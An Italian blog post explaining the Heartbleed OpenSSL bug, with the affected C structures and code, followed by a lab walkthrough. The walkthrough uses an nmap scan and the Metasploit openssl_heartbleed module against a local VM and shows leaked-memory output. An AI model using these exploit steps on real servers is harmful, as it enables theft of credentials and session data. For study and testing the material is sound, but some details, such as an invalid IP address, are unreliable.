Approfondimento Heartbleed – dettagli tecnici ed esempio di scansione e attacco (Nmap , Metasploit)

Se cercate una spiegazione semplice e non tecnica quest link fa per voi

Heartbleed CVE-2014-0160 , il bug che ha sconvolto il mondo della sicurezza, è ritenuto cosi critico perché introduce la possibilità di prelevare dati che dovrebbero essere cifrati da tutti i server ed i client che utilizzano OpenSSL con l’estensione “Heartbeat” installata e abilitata (impostazione di default), ovvero 500.000 siti web (il 17.5% di tutti quelli che si affidato ad HTTPS).

Grazie a questo tool si può testare la vulnerabilità di un server, di default il test è effettuato sulla porta HTTPS 443, ma si può specificare una qualunque. Se si è vulnerabili come minimo bisogna cambiare i certificati e le password, verificare la presenza di alterazioni al sistema, backdoor etc.

La falla risiede in un mancato controllo dell’input che porta il server (o il cliente) ad inviare all’attaccante fino a 64KB extra di dati presenti in memoria, dati che contengono di tutto,cui session cookies, credenziali di accesso in chiaro o anche dati irrilevanti. In particolare nell’implementazione della TLS e DTLS Heartbeat Extension di OpenSSL, ovvero il meccanismo di keep-alive in cui il client invia al server un payload di dati arbitrari e il server gli risponde con una copia esatta di quel payload, al fine di confermare che la connessione è OK.
In altre parole, il browser,ad esempio, invia la coppia (“ciao”, 4), dove “4” è la lunghezza della parola inviata, il server, quindi, se è “vivo”, risponde con (“ciao”, 4).

Ecco la struttura del pacchetto heartbeat in C

struct
{
  HeartbeatMessageType type;
  uint16 payload_length;
  opaque payload[HeartbeatMessage.payload_length];
  opaque padding[padding_length];
} HeartbeatMessage;

Il messaggio Heartbeat è incapsulato dentro la struttura SSL3_RECORD, uno dei blocchi che sta alla base delle comunicazioni SSL/TLS. I parametri chiave sono:

  • length, la lunghezza in byte del messaggio ricevuto
  • *data il puntatore al HeartbeatMessage

Qui si trovano maggiori dettagli sulle strutture usate in OpenSSL.

struct ssl3_record_st
{
  unsigned int length;    /* How many bytes available */
  [...]
  unsigned char *data;    /* pointer to the record data */
  [...]
} SSL3_RECORD;

data punta all’inizio del messaggio Heartbeat ricevuto e length è il numero di byte presenti messaggio. Invece, nel messaggio HeartbeatMessage, payload_length è il numero di byte casuali da inviare come risposta al client.

Quando un client o un server invia un HeartbeatMessage il payload_length viene controllato, invece non viene mai controllato il campo length nella struttura SSL3_RECORD, il che permette ad un attaccante di accedere ad aree di memoria non previste.

Le immagini sottostanti dovrebbero chiarire quanto riassunto qui sopra

openssl_haertbleed_diagram_1

L’attaccante invia un HeartbeatMessage di 4 byte di cui uno è per il payload, però dichiara che la lunghezza di tale payload è 65535 byte (ovvero il massimo possibile perché payload_length è un uint16).
La vittima non effettua nessun controllo su questa incongruenza ed inizia a leggere 64 kbyte di dati presenti in memoria a partire dal payload ricevuto con il HeartbeatMessage, con il conseguente leak di informazioni (la parte rossa del buffer nell’immagine).

Perché non si verifica un segmentation fault???

Il team di OpenSSL non ha rispettato gli standard di sicurezza durante la programmazione, libc malloc and mmap già da tempo, infatti, in caso di accesso a porzioni di memoria non autorizzate generano un errore e termina l’esecuzione del programma fornendo al programmatore info per fixare eventuali bug. Tornando al team di OpenSSL, hanno pensato di aggirare questi meccanismi sulle operazioni di malloc e free, creando loro stessi una cache dei dati.
Ecco un loro commento nel codice:

#ifndef OPENSSL_NO_BUF_FREELISTS
 /* On some platforms, malloc() performance is bad enough that you can't just
...

Quindi per rendere la delocalizzazione più efficiente su alcune piattaforme, sono state messe a rischio tutte le piattaforme, questo perché la procedura è quella usata di default e non si può disattivare, o meglio sostituire con la free di libc.

Ecco un estratto del codice di Heartbeat dove, a causa della mancanza di controlli sulla lunghezza del buffer, è stato introdotto il bug:

...
...

/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;

...
...

/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);

Finito con la discussione teorica… passiamo alla parte pratica.

I servizi con i quali testare questa vulnerabilità sono innumerevoli, ad esempio su una VM ho installato zimbra che mette a disposizione diversi servizi vulnerabili (https, impa e pop over TLS/SSL). Altri sistemi che utilizzano SSL per la cifratura sono Proxmox (lo si installa in un attimo su una VM giusto per fare un test), Nessu Network Security Scanner (: D), OpenVas ed infinite altre.
L’opzione più veloce forse è scaricare la macchina virtuale pronta di Turnkey Linux WordPress scaricabile qui oppure installare su Ubuntu Server 12.04 vsftp (guida) e settarlo per usare SSL (guida)

Qualunque target abbiate scelto il modo di procedere è lo stesso:

1) Scsansione con nmpa della vittima nel mio caso 192.168.8.1.132

nmap -sV --script=ssl-heartbleed 192.168.8.1.132

Se il comando non funziona fate cosi:

cd /usr/share/nmap/scripts
wget https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
cd /usr/share/nmap/nselib
wget http://nmap.org/nsedoc/lib/tls.html

nmap_ssl

Sappiamo quindi su quali porte ci sono servizi vulnerabili in ascolto.

2) Avviamo la nostra kali (aggiornata)

msfconsole
use auxiliary/scanner/ssl/openssl_heartbleed
set RHOST 192.168.8.132
set RPORT 995
set VERBOSE TRUE
exploit

Siccome i dati che vengono sottratti al server o al client sono casuali, ammesso che sul nostro server ci sia del traffico (login di utenti, post, invio email etc) possiamo provare a lanciare più volte l’exploit fino ad avere in output da metasploit qualcosa di interessante.

Ecco un output di metasploit:

[*] 192.168.8.132:995 - Sending Client Hello...
[*] 192.168.8.132:995 - Sending Heartbeat...
[*] 192.168.8.132:995 - Heartbeat response, checking if there is data
leaked...
[+] 192.168.8.132:995 - Heartbeat response with leak
[*] 192.168.8.132:995 - Printable info leaked:
@jUlO3)54wiM*A^:[f"!5879VCF/Ait/987.30 (HTML, like Gecko)
.........
.........

Riferimenti

http://nmap.org/nsedoc/scripts/ssl-heartbleed.html

http://thehackernews.com/2014/04/heartbleed-bug-explained-10-most.html

https://github.com/justfalter/heartbleed/blob/master/jared_stafford/heartbleed.py

http://www.theregister.co.uk/2014/04/09/heartbleed_explained/


http://blog.leafsr.com/2014/04/11/my-heart-is-ok-but-my-eyes-are-bleeding/

http://m.xkcd.com/1354/

1944 Total Views 1 Views Today
Precedente Connessione ssh permanente con autossh Successivo Installare VLCREM su Debian per comandare vlc da smartphone e tablet

Lascia un commento

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.